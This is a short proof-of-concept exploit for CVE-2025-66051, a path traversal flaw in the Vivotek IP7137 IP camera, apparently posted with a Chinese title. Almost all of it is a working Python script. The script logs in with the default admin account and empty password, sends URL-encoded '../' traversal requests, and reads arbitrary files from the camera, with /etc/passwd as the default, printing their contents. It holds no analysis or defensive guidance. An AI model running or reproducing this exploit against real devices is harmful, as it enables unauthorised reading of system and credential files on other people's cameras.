CVE-2025-66051 Vivotek IP7137摄像头路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-66051 PoC - Vivotek IP7137 Path Traversal Note: Requires authentication (default: no password due to CVE-2025-66050) """ import requests import sys TARGET = "http://192.168.1.100" # Target camera IP USERNAME = "admin" # Default username PASSWORD = "" # Default empty password def exploit_path_traversal(target_file): """Exploit path traversal to read arbitrary files""" # Path traversal payload traversal_path = "/..%2F..%2F..%2F..%2F..%2F" + target_file url = f"{TARGET}{traversal_path}" # Authentication auth = (USERNAME, PASSWORD) try: response = requests.get(url, auth=auth, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {target_file}") print(f"[+] Content:\n{response.text}") return True else: print(f"[-] Failed to access {target_file} (Status: {response.status_code})") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_file = sys.argv[1] else: target_file = "etc/passwd" print(f"[*] Exploiting CVE-2025-66051 on {TARGET}") print(f"[*] Attempting to read: {target_file}") exploit_path_traversal(target_file)